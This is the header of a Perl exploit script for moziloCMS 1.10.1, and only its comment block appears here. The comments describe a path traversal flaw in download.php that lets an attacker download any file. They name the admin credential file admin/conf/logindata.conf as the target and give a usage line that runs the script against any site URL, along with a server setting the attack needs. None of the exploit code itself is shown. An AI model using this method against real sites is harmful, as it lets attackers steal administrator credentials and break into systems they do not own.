#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#
